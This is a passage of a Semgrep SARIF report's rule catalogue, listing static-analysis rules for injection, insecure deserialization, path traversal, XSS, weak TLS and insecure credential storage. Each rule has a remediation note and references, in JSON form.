instead."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.env.flask-debugging-enabled.flask-debugging-enabled","id":"yaml.kubernetes.security.env.flask-debugging-enabled.flask-debugging-enabled","name":"yaml.kubernetes.security.env.flask-debugging-enabled.flask-debugging-enabled","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","LOW CONFIDENCE","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.env.flask-debugging-enabled.flask-debugging-enabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-shelve.tainted-shelve)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://docs.python.org/3/library/shelve.html](https://docs.python.org/3/library/shelve.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-shelve.tainted-shelve","id":"python.lang.deserialization.tainted-shelve.tainted-shelve","name":"python.lang.deserialization.tainted-shelve.tainted-shelve","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-shelve.tainted-shelve"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Backticks use may lead to command injection vulnerabilities."},"help":{"markdown":"Backticks use may lead to command injection vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.backticks-use.backticks-use)\n - [https://www.php.net/manual/en/language.operators.execution.php](https://www.php.net/manual/en/language.operators.execution.php)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/BackticksSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/BackticksSniff.php)\n","text":"Backticks use may lead to command injection vulnerabilities."},"helpUri":"https://semgrep.dev/r/php.lang.security.backticks-use.backticks-use","id":"php.lang.security.backticks-use.backticks-use","name":"php.lang.security.backticks-use.backticks-use","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.backticks-use.backticks-use"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.command-injection.grpc-command-injection.grpc-http-command-injection-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/os/exec](https://pkg.go.dev/os/exec)\n - [https://pkg.go.dev/syscall#Exec](https://pkg.go.dev/syscall#Exec)\n - [https://semgrep.dev/docs/cheat-sheets/go-command-injection/](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)"},"helpUri":"https://semgrep.dev/r/go.grpc.command-injection.grpc-command-injection.grpc-http-command-injection-taint","id":"go.grpc.command-injection.grpc-command-injection.grpc-http-command-injection-taint","name":"go.grpc.command-injection.grpc-command-injection.grpc-http-command-injection-taint","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.command-injection.grpc-command-injection.grpc-http-command-injection-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.pymongo-fastapi.pymongo-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.pymongo-fastapi.pymongo-fastapi","id":"python.fastapi.db.pymongo-fastapi.pymongo-fastapi","name":"python.fastapi.db.pymongo-fastapi.pymongo-fastapi","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.pymongo-fastapi.pymongo-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-ruamel-fastapi.tainted-ruamel-fastapi)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://yaml.readthedocs.io/en/latest/api/](https://yaml.readthedocs.io/en/latest/api/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-ruamel-fastapi.tainted-ruamel-fastapi","id":"python.fastapi.deserialization.tainted-ruamel-fastapi.tainted-ruamel-fastapi","name":"python.fastapi.deserialization.tainted-ruamel-fastapi.tainted-ruamel-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-ruamel-fastapi.tainted-ruamel-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Missing check for 'from' and 'to' being the same before updating balances could lead to incorrect balance manipulation on self-transfers. Include a check to ensure 'from' and 'to' are not the same before updating balances to prevent balance manipulation during self-transfers."},"help":{"markdown":"Missing check for 'from' and 'to' being the same before updating balances could lead to incorrect balance manipulation on self-transfers. Include a check to ensure 'from' and 'to' are not the same before updating balances to prevent balance manipulation during self-transfers.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.missing-self-transfer-check-ercx.missing-self-transfer-check-ercx)\n - [https://blog.verichains.io/p/miner-project-attacked-by-vulnerabilities](https://blog.verichains.io/p/miner-project-attacked-by-vulnerabilities)\n - [https://x.com/shoucccc/status/1757777764646859121](https://x.com/shoucccc/status/1757777764646859121)\n","text":"Missing check for 'from' and 'to' being the same before updating balances could lead to incorrect balance manipulation on self-transfers. Include a check to ensure 'from' and 'to' are not the same before updating balances to prevent balance manipulation during self-transfers."},"helpUri":"https://semgrep.dev/r/solidity.security.missing-self-transfer-check-ercx.missing-self-transfer-check-ercx","id":"solidity.security.missing-self-transfer-check-ercx.missing-self-transfer-check-ercx","name":"solidity.security.missing-self-transfer-check-ercx.missing-self-transfer-check-ercx","properties":{"precision":"very-high","tags":["CWE-682: Incorrect Calculation","HIGH CONFIDENCE","OWASP-A7:2021 Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.missing-self-transfer-check-ercx.missing-self-transfer-check-ercx"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"This expression points to memory that has been freed. This can lead to a segmentation fault or memory corruption."},"help":{"markdown":"This expression points to memory that has been freed. This can lead to a segmentation fault or memory corruption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.use-after-free.local-variable-malloc-free.local-variable-malloc-free)\n - [https://wiki.sei.cmu.edu/confluence/display/c/MEM30-C.+Do+not+access+freed+memory](https://wiki.sei.cmu.edu/confluence/display/c/MEM30-C.+Do+not+access+freed+memory)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime](https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime)\n","text":"This expression points to memory that has been freed. This can lead to a segmentation fault or memory corruption."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.use-after-free.local-variable-malloc-free.local-variable-malloc-free","id":"cpp.lang.security.use-after-free.local-variable-malloc-free.local-variable-malloc-free","name":"cpp.lang.security.use-after-free.local-variable-malloc-free.local-variable-malloc-free","properties":{"precision":"very-high","tags":["CWE-416: Use After Free","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.use-after-free.local-variable-malloc-free.local-variable-malloc-free"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user controlled data inside InteractiveConsole/InteractiveInterpreter method. This is dangerous if external data can reach this function call because it allows a malicious actor to run arbitrary Python code."},"help":{"markdown":"Found user controlled data inside InteractiveConsole/InteractiveInterpreter method. This is dangerous if external data can reach this function call because it allows a malicious actor to run arbitrary Python code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.dangerous-code-run.dangerous-interactive-code-run)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Found user controlled data inside InteractiveConsole/InteractiveInterpreter method. This is dangerous if external data can reach this function call because it allows a malicious actor to run arbitrary Python code."},"helpUri":"https://semgrep.dev/r/python.lang.security.dangerous-code-run.dangerous-interactive-code-run","id":"python.lang.security.dangerous-code-run.dangerous-interactive-code-run","name":"python.lang.security.dangerous-code-run.dangerous-interactive-code-run","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.dangerous-code-run.dangerous-interactive-code-run"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Usage of NumPy library inside PyTorch `$MODULE` module was found. Avoid mixing these libraries for efficiency and proper ONNX loading"},"help":{"markdown":"Usage of NumPy library inside PyTorch `$MODULE` module was found. Avoid mixing these libraries for efficiency and proper ONNX loading\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.python.numpy-in-pytorch-modules.numpy-in-pytorch-modules)\n - [https://tanelp.github.io/posts/a-bug-that-plagues-thousands-of-open-source-ml-projects](https://tanelp.github.io/posts/a-bug-that-plagues-thousands-of-open-source-ml-projects)\n","text":"Usage of NumPy library inside PyTorch `$MODULE` module was found. Avoid mixing these libraries for efficiency and proper ONNX loading"},"helpUri":"https://semgrep.dev/r/trailofbits.python.numpy-in-pytorch-modules.numpy-in-pytorch-modules","id":"trailofbits.python.numpy-in-pytorch-modules.numpy-in-pytorch-modules","name":"trailofbits.python.numpy-in-pytorch-modules.numpy-in-pytorch-modules","properties":{"precision":"very-high","tags":["MEDIUM CONFIDENCE"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.python.numpy-in-pytorch-modules.numpy-in-pytorch-modules"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using the GrantPublicAccess method on bucket contruct $X will make the objects in the bucket world accessible. Verify if this is intentional."},"help":{"markdown":"Using the GrantPublicAccess method on bucket contruct $X will make the objects in the bucket world accessible. Verify if this is intentional.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.aws-cdk.security.awscdk-bucket-grantpublicaccessmethod.awscdk-bucket-grantpublicaccessmethod)\n - [https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-control-overview.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-control-overview.html)\n","text":"Using the GrantPublicAccess method on bucket contruct $X will make the objects in the bucket world accessible. Verify if this is intentional."},"helpUri":"https://semgrep.dev/r/typescript.aws-cdk.security.awscdk-bucket-grantpublicaccessmethod.awscdk-bucket-grantpublicaccessmethod","id":"typescript.aws-cdk.security.awscdk-bucket-grantpublicaccessmethod.awscdk-bucket-grantpublicaccessmethod","name":"typescript.aws-cdk.security.awscdk-bucket-grantpublicaccessmethod.awscdk-bucket-grantpublicaccessmethod","properties":{"precision":"very-high","tags":["CWE-306: Missing Authentication for Critical Function","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.aws-cdk.security.awscdk-bucket-grantpublicaccessmethod.awscdk-bucket-grantpublicaccessmethod"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected `os` function with argument tainted by `event` object. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability."},"help":{"markdown":"Detected `os` function with argument tainted by `event` object. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.dangerous-system-call.dangerous-system-call)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected `os` function with argument tainted by `event` object. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.dangerous-system-call.dangerous-system-call","id":"python.aws-lambda.security.dangerous-system-call.dangerous-system-call","name":"python.aws-lambda.security.dangerous-system-call.dangerous-system-call","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.dangerous-system-call.dangerous-system-call"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.filesystem.path-manipulation.path-manipulation)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://wiki.sei.cmu.edu/confluence/display/c/FIO02-C.+Canonicalize+path+names+originating+from+tainted+sources](https://wiki.sei.cmu.edu/confluence/display/c/FIO02-C.+Canonicalize+path+names+originating+from+tainted+sources)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.filesystem.path-manipulation.path-manipulation","id":"cpp.lang.security.filesystem.path-manipulation.path-manipulation","name":"cpp.lang.security.filesystem.path-manipulation.path-manipulation","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.filesystem.path-manipulation.path-manipulation"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected an AppService that was not configured to use TLS 1.2. Add `site_config.min_tls_version = \"1.2\"` in your resource block."},"help":{"markdown":"Detected an AppService that was not configured to use TLS 1.2. Add `site_config.min_tls_version = \"1.2\"` in your resource block.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.appservice.appservice-use-secure-tls-policy.appservice-use-secure-tls-policy)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#min_tls_version](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#min_tls_version)\n","text":"Detected an AppService that was not configured to use TLS 1.2. Add `site_config.min_tls_version = \"1.2\"` in your resource block."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.appservice.appservice-use-secure-tls-policy.appservice-use-secure-tls-policy","id":"terraform.azure.security.appservice.appservice-use-secure-tls-policy.appservice-use-secure-tls-policy","name":"terraform.azure.security.appservice.appservice-use-secure-tls-policy.appservice-use-secure-tls-policy","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.appservice.appservice-use-secure-tls-policy.appservice-use-secure-tls-policy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML."},"help":{"markdown":"Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.direct-use-of-httpresponse.direct-use-of-httpresponse)\n - [https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render](https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render)\n - [https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render](https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render)\n","text":"Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.direct-use-of-httpresponse.direct-use-of-httpresponse","id":"python.django.security.audit.xss.direct-use-of-httpresponse.direct-use-of-httpresponse","name":"python.django.security.audit.xss.direct-use-of-httpresponse.direct-use-of-httpresponse","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.direct-use-of-httpresponse.direct-use-of-httpresponse"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.actix.sql.sqlx-taint.sqlx-taint)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.actix.sql.sqlx-taint.sqlx-taint","id":"rust.actix.sql.sqlx-taint.sqlx-taint","name":"rust.actix.sql.sqlx-taint.sqlx-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.actix.sql.sqlx-taint.sqlx-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Potentially sensitive data was observed to be stored in UserDefaults, which is not adequate protection of sensitive information. For data of a sensitive nature, applications should leverage the Keychain."},"help":{"markdown":"Potentially sensitive data was observed to be stored in UserDefaults, which is not adequate protection of sensitive information. For data of a sensitive nature, applications should leverage the Keychain.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.lang.storage.sensitive-storage-userdefaults.swift-user-defaults)\n - [https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html](https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html)\n - [https://mas.owasp.org/MASVS/controls/MASVS-STORAGE-1/](https://mas.owasp.org/MASVS/controls/MASVS-STORAGE-1/)\n","text":"Potentially sensitive data was observed to be stored in UserDefaults, which is not adequate protection of sensitive information. For data of a sensitive nature, applications should leverage the Keychain."},"helpUri":"https://semgrep.dev/r/swift.lang.storage.sensitive-storage-userdefaults.swift-user-defaults","id":"swift.lang.storage.sensitive-storage-userdefaults.swift-user-defaults","name":"swift.lang.storage.sensitive-storage-userdefaults.swift-user-defaults","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: swift.lang.storage.sensitive-storage-userdefaults.swift-user-defaults"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.postgres.empty-password.empty-password)\n - [https://docs.rs/postgres/latest/postgres/](https://docs.rs/postgres/latest/postgres/)\n - 